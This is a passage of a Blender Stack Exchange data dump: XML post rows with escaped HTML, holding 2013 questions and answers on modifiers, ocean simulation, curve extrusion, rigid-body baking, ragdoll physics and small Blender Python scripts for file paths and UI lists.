25&lt;/li&gt;&#xA;&lt;li&gt;Animate the scale from 3.0 to 0.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Since both Modifiers are identical, one starts exactly with the shape the other one ends with. And the scale is used to blend between them. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the interpolation in the &lt;em&gt;F-graph Editor&lt;/em&gt; to &lt;em&gt;Linear&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) to get a constant motion. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Geometry&lt;/em&gt; of the second modifier must be set to &lt;em&gt;Displace&lt;/em&gt;, to avoid overwriting the first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaYp7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T20:51:28.890" LastActivityDate="2013-09-13T20:51:28.890" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2865" PostTypeId="1" AcceptedAnswerId="2868" CreationDate="2013-09-12T23:51:26.863" Score="15" ViewCount="3282" Body="&lt;p&gt;How can I use the &lt;em&gt;Ocean modifier&lt;/em&gt; to only deform one axis of an object to create something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VBnAH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-13T02:02:55.913" LastActivityDate="2018-06-23T15:57:03.433" Title="Ocean modifier with volume" Tags="&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="2866" PostTypeId="1" AcceptedAnswerId="2881" CreationDate="2013-09-12T23:55:20.183" Score="34" ViewCount="97114" Body="&lt;p&gt;Is there a way to extrude an object or shape along a path/curve, so you get a solid object?  For example, a rectangle shape along a curve to get a long bendy sidewalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel this was in an older version of blender, but I can't find it now.&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="2217" LastEditDate="2014-10-03T00:10:57.497" LastActivityDate="2018-02-27T19:05:12.040" Title="Extrude along path" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2867" PostTypeId="2" ParentId="2866" CreationDate="2013-09-12T23:59:29.660" Score="26" Body="&lt;p&gt;You can use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot;&gt;&lt;em&gt;Array&lt;/em&gt; modifier&lt;/a&gt; combined with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot;&gt;&lt;em&gt;Curve&lt;/em&gt; modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHs1J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array#Options&quot;&gt;Merge&lt;/a&gt;&lt;/em&gt; option merges duplicate vertices so that the resulting object stays as one mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZnhHB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when using the &lt;em&gt;Fit Curve&lt;/em&gt; option in the array modifier, you may have to apply the scale to ensure this works correctly (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2119" LastEditDate="2015-11-27T19:49:22.973" LastActivityDate="2015-11-27T19:49:22.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2868" PostTypeId="2" ParentId="2865" CreationDate="2013-09-13T00:06:23.753" Score="32" Body="&lt;p&gt;From Haunt's trick bag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N24aM.png&quot; alt=&quot;a block of water&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Since the &lt;em&gt;Ocean modifier&lt;/em&gt; doesn't use vertex groups, one solution is to get help from a modifier that does. The Ocean modifier (gray) uses an ordinary plane. The block of water is a mesh where the upper surface is highly subdivided and the bottom contains just 4 verts. It has a &lt;em&gt;Vertex Group&lt;/em&gt; which excludes the four bottom verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;The trick is a &lt;em&gt;Shrinkwrap Modifier&lt;/em&gt; which is projecting the surface on the &lt;em&gt;Ocean Modifier&lt;/em&gt; mesh. There the &lt;em&gt;Vertex Group&lt;/em&gt; helps to leave the bottom verts in peace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H1WiR.png&quot; alt=&quot;shrinkwrap modifier settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Rendering of the &lt;em&gt;Ocean Modifier&lt;/em&gt; is prevented in the outliner by clicking the camera symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/epKb2.png&quot; alt=&quot;outliner settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T21:01:44.520" LastActivityDate="2013-09-13T21:01:44.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2869" PostTypeId="5" CreationDate="2013-09-13T02:06:29.523" Score="0" Body="&lt;p&gt;A link to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_63_7/info_tips_and_tricks.html&quot; rel=&quot;nofollow&quot;&gt;blender python API&lt;/a&gt; about data paths.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Regarding File Paths and Blender&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Regarding File Paths and Python&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Specifically the topic of how to get a valid file path using Python is worth stating explicitly. Python's &lt;a href=&quot;https://docs.python.org/3.4/library/os.html&quot; rel=&quot;nofollow&quot;&gt;os&lt;/a&gt; module is capable of joining file paths and extracting directory names or file names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename = 'some_file_name.extention'&#xA;&#xA;# known as &quot;POSIX&quot; form (on linux or osx):&#xA;directory = '/home/username/Desktop'&#xA;&#xA;# python on windows handles paths in two ways.&#xA;directory = r'c:\some\directory'  # the r is important&#xA;directory = 'c:/some/directory'  # (alternative)&#xA;&#xA;# this will automatically join directories and a filename to&#xA;# produce a full file path&#xA;fullpath = os.path.join(directory, filename)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current file's location is obtained using &lt;code&gt;__file__&lt;/code&gt;, and &lt;code&gt;os.path.dirname&lt;/code&gt; will return the full directory minus the filename&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;current_file_path = __file__&#xA;current_file_dir = os.path.dirname(__file__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to access a file in the same directory as this python file you do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;other_file_path = os.path.join(current_file_dir, &quot;other_file.ext&quot;)&#xA;with open(other_file_path) as f:&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if there's a directory on the same path as the main python file you can get that by doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;other_file_path = os.path.join(current_file_dir, &quot;directory&quot;, &quot;other_file.ext&quot;)&#xA;with open(other_file_path) as f:&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="47" LastEditDate="2015-06-09T15:22:32.273" LastActivityDate="2015-06-09T15:22:32.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2870" PostTypeId="4" CreationDate="2013-09-13T02:06:29.523" Score="0" Body="Use this tag for question regarding &quot;data paths&quot; and &quot;file paths&quot; in blender. " OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-10-03T00:44:10.667" LastActivityDate="2014-10-03T00:44:10.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2871" PostTypeId="5" CreationDate="2013-09-13T02:10:06.963" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-13T02:10:06.963" LastActivityDate="2013-09-13T02:10:06.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2872" PostTypeId="4" CreationDate="2013-09-13T02:10:06.963" Score="0" Body="Questions related to the task of weight painting in Blender. Weight painting is used to visualize and define weights for things such as armature deformations." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-13T02:14:32.150" LastActivityDate="2013-09-13T02:14:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2873" PostTypeId="1" CreationDate="2013-09-13T05:17:15.987" Score="8" ViewCount="1550" Body="&lt;p&gt;I added basic rigidbody characteristics to a default sphere in Blender and exported it to Collada but the physics information isn't exporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the physics data to be exported along the geometry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.68.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Blender 2.68.4 there is no support for physics data to COLLADA :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Althought it seems that there is already a patch to export physics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Architecture/COLLADA&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Source/Architecture/COLLADA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=25601&amp;amp;group_id=9&amp;amp;atid=127&quot; rel=&quot;nofollow&quot;&gt;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=25601&amp;amp;group_id=9&amp;amp;atid=127&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patch was already accepted into upstream so maybe in a near version support for this is added :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will leave the question open to notify the ones that favorites this question once this functionality is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN THE MEANTIME:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can solve this issue by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Saving the scene with physics in Blender format (&lt;code&gt;.blend&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Importing the &lt;code&gt;.blend&lt;/code&gt; file into &lt;a href=&quot;http://unity3d.com/unity/download/&quot; rel=&quot;nofollow&quot;&gt;Unity Engine&lt;/a&gt; (free edition)&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://u3d.as/content/fl4re/collada-dae-exporter-1-3-0-for-unity-3-5-4-0-free-pro-/3cC&quot; rel=&quot;nofollow&quot;&gt;Unity Collada Exporter&lt;/a&gt; to get a fully &lt;strong&gt;physics&lt;/strong&gt; functional COLLADA &lt;code&gt;.dae&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Credits to &lt;a href=&quot;http://news.turbulenz.com/post/47447794610/collada-to-unity-to-webgl-via-turbulenz&quot; rel=&quot;nofollow&quot;&gt;Rémi Arnaud&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1278" LastEditorUserId="1278" LastEditDate="2013-09-14T17:03:57.783" LastActivityDate="2013-12-13T18:23:43.987" Title="Exporting to Collada: Physics don't get exported" Tags="&lt;export&gt;&lt;physics&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2874" PostTypeId="1" AcceptedAnswerId="2875" CreationDate="2013-09-13T05:20:15.037" Score="7" ViewCount="1973" Body="&lt;p&gt;I want to display a list of values in a panel, as either a list box or dropdown box. The list should contain the names of custom float data layers for vertices of the active mesh object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex colors list in the Mesh buttons uses &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.UILayout.html#bpy.types.UILayout.template_list&quot; rel=&quot;nofollow&quot;&gt;UILayout.template_list&lt;/a&gt;, but how can I get it to show arbitrary (non-color) custom data layers? I guess I'm looking for something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The API to access the custom data as a list that &lt;code&gt;UILayout.template_list&lt;/code&gt; can understand, or&lt;/li&gt;&#xA;&lt;li&gt;A way to populate a UI list with custom items.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="599" LastEditDate="2013-09-17T18:57:52.607" LastActivityDate="2013-09-17T18:57:52.607" Title="Display list with custom items in panel" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2875" PostTypeId="2" ParentId="2874" CreationDate="2013-09-13T06:28:58.573" Score="6" Body="&lt;p&gt;Try using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.props.html#bpy.props.EnumProperty&quot;&gt;&lt;code&gt;bpy.props.EnumProperty&lt;/code&gt;&lt;/a&gt;. Its &lt;code&gt;items&lt;/code&gt; argument accepts a list, or a function that generates it from context data. For example, I could feed this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_enum_items(self, context):&#xA;    obj = context.active_object&#xA;    groups = obj.users_group&#xA;    group_names = [g.name for g in groups]&#xA;    return [(gn, gn, 'Instance group &quot;%s&quot;'%gn) for gn in group_names]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as item list generator to this property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;group = bpy.props.EnumProperty(&#xA;    name = &quot;Group&quot;, items = get_enum_items,&#xA;    description = &quot;Group to instance.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it will construct a list of groups the active object is contained in, on the fly (full code &lt;a href=&quot;https://gist.github.com/adhihargo/6325992&quot;&gt;here&lt;/a&gt;). I think you can use this method for any named custom data.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-09-13T06:28:58.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2876" PostTypeId="1" AcceptedAnswerId="2880" CreationDate="2013-09-13T06:35:20.320" Score="3" ViewCount="2713" Body="&lt;p&gt;For heavy modifiers, the time it  takes to compute can range between a few seconds to half an hour or longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can modifiers be added, computed, and applied from the command line with some sort of indicator of progress?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running from the command line would be useful for running blender GUI-less without a WM to save memory.&lt;br&gt;&#xA;It would also be ideal to have some idea of how far along the modifier is.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3127" LastEditDate="2014-12-17T16:16:11.207" LastActivityDate="2014-12-17T16:16:11.207" Title="Can modifiers be computed and applied from the command line?" Tags="&lt;scripting&gt;&lt;modifiers&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2877" PostTypeId="1" CreationDate="2013-09-13T06:50:12.937" Score="8" ViewCount="3022" Body="&lt;p&gt;Is it possible to create a &amp;quot;spherical ocean&amp;quot; effect by mapping an ocean texture to a sphere?&lt;/p&gt;&#xA;&lt;p&gt;I tried baking an ocean simulation, loading the &lt;code&gt;.exr&lt;/code&gt; images as an image sequence texture, and setting it to a displace modifier with &lt;em&gt;Normal&lt;/em&gt; enabled to displace along the object normals. That resulted in this strange effect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FM46.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to do this properly, with evenly sized waves, etc.?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I got this to work (partially) with a cycles &lt;em&gt;image texture&lt;/em&gt; node set to &lt;em&gt;box&lt;/em&gt;, and cycles experimental displacement:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20151125000157/http://www.pasteall.org/pic/show.php?id=60477&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20151125000157/http://www.pasteall.org/pic/show.php?id=60477&quot; alt=&quot;Animated ocean example (2.5MB)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However it's not quite what I expected..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2020-12-19T23:02:52.493" LastActivityDate="2020-12-19T23:02:52.493" Title="Map ocean displacement to a sphere?" Tags="&lt;workflow&gt;&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="2878" PostTypeId="2" ParentId="2873" CreationDate="2013-09-13T07:50:04.140" Score="1" Body="&lt;p&gt;Assuming you want the motion generated by the rigid-body simulation (not the mass and other parameters), you can bake the simulation to keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method one:&lt;/strong&gt;&lt;br&gt;&#xA;In the &lt;em&gt;Tool shelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the 3D view) &lt;em&gt;&gt; Rigid body tools&lt;/em&gt;, press &lt;em&gt;Bake to Keyframes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivvZ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method two:&lt;/strong&gt;&lt;br&gt;&#xA;Press &lt;em&gt;3D view &gt; Header &gt; Object &gt; Animation &gt; Bake action&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wn301.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-13T07:50:04.140" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2879" PostTypeId="2" ParentId="2836" CreationDate="2013-09-13T08:00:47.140" Score="4" Body="&lt;p&gt;While the 3DView is fixed at 20 layers, you can get similar functionality using groups. By having the outliner list groups you can show/hide all objects in a group at the one time. This method hides objects, so is basically a shortcut to hide/unhide multiple objects without having to manually select each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The catch with groups is that while an object on a visible layer is always visible even if a second layer it is on is hidden, using groups means all objects in a group get hidden even if they are in another group that you want to stay visible. You also don't get easy keyboard shortcuts to hide a group.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-09-13T08:00:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2880" PostTypeId="2" ParentId="2876" CreationDate="2013-09-13T14:08:00.017" Score="4" Body="&lt;p&gt;You'd have to use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.object.html#bpy.ops.object.modifier_apply&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.object.modifier_apply&lt;/code&gt;&lt;/a&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.scene.objects:&#xA;    bpy.context.scene.objects.active = obj&#xA;    count = 1&#xA;    length = len(obj.modifiers)&#xA;    while obj.modifiers:&#xA;        name = obj.modifiers[0].name&#xA;        print(&quot;%s: Applying %s (%d/%d)&quot; % (obj, name, count, length))&#xA;        bpy.ops.object.modifier_apply(modifier=name)&#xA;        count += 1&#xA;print(&quot;All done.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;For info on how to to run the above, &lt;a href=&quot;https://blender.stackexchange.com/q/1365/290&quot;&gt;see here&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-09-13T14:08:00.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2881" PostTypeId="2" ParentId="2866" CreationDate="2013-09-13T14:37:32.227" Score="24" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4AlKk.png&quot; alt=&quot;Bevelled curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a bevel object in the curve properties &gt; &lt;em&gt;Geometry&lt;/em&gt; panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3E9qb.png&quot; alt=&quot;bevel object settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use any curve to define the cross section of another curve. Make sure they are in separat objects because the object origin of the cross section curve will be extruded along the main curve. As you can see, you can put all kinds of independent curves into the &lt;em&gt;Bevel Object&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T17:14:08.327" LastActivityDate="2013-09-13T17:14:08.327" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2882" PostTypeId="1" AcceptedAnswerId="2883" CreationDate="2013-09-13T15:11:40.957" Score="2" ViewCount="4379" Body="&lt;p&gt;I wonder what the term Ragdoll in &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Game_Engine/BRIK_ragdolls&quot; rel=&quot;nofollow&quot;&gt;BRIK - Blender Ragdoll Implementation Kit&lt;/a&gt; means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia defines: &quot;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Ragdoll&quot; rel=&quot;nofollow&quot;&gt;Ragdoll&lt;/a&gt; is a cat breed with blue eyes and a distinct colorpoint coat.&quot; &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-09-22T04:21:58.723" Title="What does the Term Ragdoll mean?" Tags="&lt;game-engine&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2883" PostTypeId="2" ParentId="2882" CreationDate="2013-09-13T15:20:00.540" Score="5" Body="&lt;p&gt;Apart from the article you linked to, &lt;a href=&quot;http://en.wikipedia.org/wiki/Ragdoll_physics&quot;&gt;rag doll &lt;em&gt;physics&lt;/em&gt;&lt;/a&gt; refers to the ability of a character in a video game or simulation to be able to react to falling over or being hit in a more dynamic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than having to create specific animations for falling you could let the character fall and determine how it moves based on how it's limbs collide with each other or the ground and how they drag each other (as long as a correct hierarchical skeleton is present) when a force is applied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are calculated on-the-fly in the game engine when the game is run rather than having been predefined beforehand (though they could have been limited to only have a certain amount of effect or be set to mix with a key framed animation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon appears to help with the setting up of the collision boxes and game logic for the limbs that are necessary for accurate collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term rag doll is used because as the character or object falls it may have the appearance of a doll as it loses stiffness and collapses.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-09-13T15:31:26.033" LastActivityDate="2013-09-13T15:31:26.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2884" PostTypeId="2" ParentId="2882" CreationDate="2013-09-13T15:23:49.657" Score="5" Body="&lt;p&gt;Imagine you have a puppet with easily movable joints. If you throw it around, the puppet will move it's arms and legs according to the forces applied to it. Kind of like an unconscious person. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple example I made to answer the question in a visual way. This is a ragdoll:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/McUhj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why he is showing one last sign of life trying to sit up again. I didn't animate that in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia does have an article about the topic:&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Ragdoll_physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Ragdoll_physics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T21:14:46.487" LastActivityDate="2013-09-13T21:14:46.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2885" PostTypeId="1" CreationDate="2013-09-13T16:56:22.400" Score="11" ViewCount="2364" Body="&lt;p&gt;My current situation with Cycles nodes:&lt;br&gt;&#xA;I'm trying to make particles turn from dark to bright in time. So the Particle Info node has output &quot;Age&quot;. But Sticking that value into Mix node produces no or complete change in the mix. So I start trying to math-fix it. I found out I can divide the value and that makes it work, but the particles turn from one to the other too fast, I can only control how far off they suddenly change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How am I supposed to understand the values? Is trial and error the only way?&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-09-15T08:17:23.247" Title="How to view value of node output?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2886" PostTypeId="1" CreationDate="2013-09-13T17:10:43.983" Score="1" ViewCount="175" Body="&lt;p&gt;Since I use Blender (2.12), the key on a german keyboard on windows to switch on all layers is &lt;kbd&gt;Ö&lt;/kbd&gt; (right to the &lt;kbd&gt;L&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ubuntu it doesn't work and never has for me and I'm using Linux for at least 6 years now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason behind that? After some research it seems as if Blender didn't recognize a lot of special keys (mostly keys between the letter keys and return) for keyboard shortcuts while it easily manages to do so for typing text. They don't work in the game engine's keyboard sensors as well. I can't imagine this to be a bug since it's been like that forever. Is there a setting I miss?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of keys that Blender does recognize when typing text and completely ignores for shortcuts:&#xA;Everything horizontally between &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;L&lt;/kbd&gt; and &lt;kbd&gt;Return&lt;/kbd&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;P&lt;/kbd&gt; and &lt;kbd&gt;Return&lt;/kbd&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;0&lt;/kbd&gt; and &lt;kbd&gt;Back Space&lt;/kbd&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the key to the left of &lt;kbd&gt;Y&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as well as the key to the left of &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-13T18:59:18.050" LastActivityDate="2013-09-13T18:59:18.050" Title="Why doesn't the key to switch on all scene layers work on linux" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
